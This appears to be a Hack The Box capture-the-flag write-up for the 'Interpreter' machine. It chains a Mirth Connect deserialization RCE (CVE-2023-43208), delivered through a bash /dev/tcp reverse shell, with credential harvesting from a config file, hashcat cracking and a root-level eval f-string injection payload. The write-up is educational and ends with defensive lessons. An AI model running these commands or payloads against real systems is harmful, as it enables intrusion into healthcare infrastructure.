Interpreter - Hack The Box Writeup
Interpreter - Hack The Box Writeup
Machine: Interpreter
OS: Linux (Debian 12)
Difficulty: Medium
IP: 10.129.9.96
Table of Contents
- Summary
- Enumeration
- Foothold - CVE-2023-43208 (Pre-Auth RCE)
- Lateral Movement - mirth to sedric
- Privilege Escalation - sedric to root
- Attack Chain Summary
- Key Takeaways
Summary
Interpreter is a Linux machine running Mirth Connect 4.4.0, a healthcare integration engine vulnerable to pre-authenticated Remote Code Execution (CVE-2023-43208). After obtaining a foothold as the mirth service account, database credentials found in the Mirth configuration file are used to extract a PBKDF2-HMAC-SHA256 password hash for user sedric. The hash is cracked with hashcat and rockyou, granting SSH access and the user flag. Privilege escalation is achieved by exploiting a Python f-string injection vulnerability in a Flask notification service (notif.py) running as root on localhost, which unsafely uses eval() on user-controlled input.
Enumeration
Nmap Scan
nmap -sC -sV --top-ports 1000 -T4 10.129.9.96PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7
80/tcp open http Jetty
|_http-title: Mirth Connect Administrator
443/tcp open ssl/http Jetty
|_http-title: Mirth Connect Administrator
| ssl-cert: Subject: commonName=mirth-connectThree open ports: SSH (22), HTTP (80), and HTTPS (443). Both web ports serve Mirth Connect Administrator, a healthcare data integration platform built on Jetty.
Mirth Connect Identification
Mirth Connect is a widely used open-source integration engine for healthcare data (HL7, FHIR, etc.). The SSL certificate confirms the CN as mirth-connect. Researching known vulnerabilities for Mirth Connect reveals critical CVEs affecting versions prior to 4.4.1.
Foothold - CVE-2023-43208 (Pre-Auth RCE)
Vulnerability
CVE-2023-43208 is a pre-authenticated Remote Code Execution vulnerability in Mirth Connect < 4.4.1. It is a bypass of the earlier CVE-2023-37679. The root cause is insecure deserialization through the XStream library: an attacker sends a crafted XML payload to the /api/users endpoint, which triggers arbitrary Java code execution via chained InvokerTransformer classes from Apache Commons Collections.
Exploitation
A public PoC exploit is available at jakabakos/CVE-2023-43208-mirth-connect-rce-poc.
Start a listener:
nc -lvnp 4444Generate the reverse shell payload:
echo -n 'bash -i >& /dev/tcp/<LHOST>/4444 0>&1' | base64Fire the exploit:
python3 CVE-2023-43208.py \
-u https://10.129.9.96 \
-c "bash -c {echo,<BASE64_PAYLOAD>}|{base64,-d}|{bash,-i}"This yields a shell as the mirth service account (uid=103).
Lateral Movement - mirth to sedric
Database Credential Discovery
The Mirth Connect configuration file at /usr/local/mirthconnect/conf/mirth.properties contains plaintext database credentials:
database = mysql
database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod
database.username = mirthdb
database.password = [REDACTED]Extracting the Password Hash
Using the database credentials to query MariaDB:
mysql -u mirthdb -p'[REDACTED]' mc_bdd_prod -e "SELECT * FROM PERSON;"
# ID=2, USERNAME=sedric
mysql -u mirthdb -p'[REDACTED]' mc_bdd_prod -e "SELECT * FROM PERSON_PASSWORD;"
# PERSON_ID=2, PASSWORD=[REDACTED]sedric is the only user in the Mirth Connect application and the only non-root user on the system with a login shell (/bin/bash).
Cracking the Hash
Mirth Connect 4.4.0 uses PBKDF2-HMAC-SHA256 with 600,000 iterations, an 8-byte salt, and a 256-bit derived key. The stored format is base64(salt || derived_key).
Decompose the hash for hashcat:
import base64
h = base64.b64decode('<HASH_BASE64>')
salt = h[:8]
dk = h[8:]
# hashcat mode 10900 format:
# sha256:600000:<SALT_B64>:<DK_B64>Crack with hashcat:
hashcat -m 10900 hash.txt /usr/share/wordlists/rockyou.txt --forceStatus...........: CrackedThe password is a common word found in rockyou.txt.
SSH Access
ssh sedric@10.129.9.96
# Password: [REDACTED]User Flag
cat ~/user.txt
# [REDACTED]Privilege Escalation - sedric to root
Identifying the Target
During enumeration as mirth, process listing revealed a Python script running as root:
root 3507 /usr/bin/python3 /usr/local/bin/notif.pyThe file is owned by root:sedric with permissions rwxr-x---, meaning sedric can read it. The service listens on 127.0.0.1:54321.
Analyzing notif.py
def template(first, last, sender, ts, dob, gender):
pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
for s in [first, last, sender, ts, dob, gender]:
if not pattern.fullmatch(s):
return "[INVALID_INPUT]"
try:
year_of_birth = int(dob.split('/')[-1])
if year_of_birth < 1900 or year_of_birth > datetime.now().year:
return "[INVALID_DOB]"
except:
return "[INVALID_DOB]"
template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
try:
return eval(f"f'''{template}'''") # <-- VULNERABLE
except Exception as e:
return f"[EVAL_ERROR] {e}"The vulnerability is clear:
- User-controlled fields (
first,last,sender,ts,gender) are interpolated into a string - That string is then passed to
eval()as an f-string - The input validation regex allows curly braces
{}, enabling Python expression injection - Spaces are not allowed, but this is trivially bypassed using
chr()to construct arbitrary strings
Exploitation
The service only accepts POST requests from localhost to /addPatient with XML patient data. Since os is already imported in the script's namespace, we can call os.popen() directly.
Build the payload (spaces bypassed with chr()):
# Build the command string as chr() concatenation to bypass the no-spaces regex
# e.g. chr(99)+chr(97)+chr(116)+chr(32)+... for "cat /root/root.txt"Send the malicious XML from sedric's SSH session:
import urllib.request
xml = """<patient>
<timestamp>20250919</timestamp>
<sender_app>WEBAPP</sender_app>
<id>1</id>
<firstname>{os.popen(<CHR_PAYLOAD>).read()}</firstname>
<lastname>Doe</lastname>
<birth_date>01/01/1990</birth_date>
<gender>M</gender>
</patient>"""
req = urllib.request.Request(
"http://127.0.0.1:54321/addPatient",
method="POST",
data=xml.encode(),
headers={"Content-Type": "text/plain"}
)
resp = urllib.request.urlopen(req)
print(resp.read().decode())The root flag is returned in the response output.
Root Flag
[REDACTED]Attack Chain Summary
Attacker
|
+--[1] CVE-2023-43208 (Mirth Connect 4.4.0 pre-auth RCE)
| XStream deserialization on /api/users
| -> Shell as: mirth
|
+--[2] Database credential harvesting (mirth.properties)
| -> DB credentials in plaintext config
| -> PBKDF2-HMAC-SHA256 hash for sedric (600k iterations)
| -> Cracked with hashcat + rockyou
| -> SSH as: sedric
|
+--[3] Python f-string injection via eval() in notif.py
Service runs as root on 127.0.0.1:54321
Regex allows {} -> inject {os.popen(...).read()}
Spaces bypassed with chr()
-> RCE as: rootKey Takeaways
- Patch management is critical: Mirth Connect 4.4.0 has a known pre-auth RCE. Upgrading to 4.4.1+ would have prevented the initial foothold.
- Never store database credentials in plaintext configuration files accessible to service accounts.
- PBKDF2 with high iterations is not enough if the password is weak and present in common wordlists.
- Never use
eval()on user-controlled input, even with input validation. The regex allowed{}which is the exact syntax needed for f-string injection. Use safe string formatting (.format()with positional args or template strings) instead. - Principle of least privilege: A notification service that only writes text files should not run as root.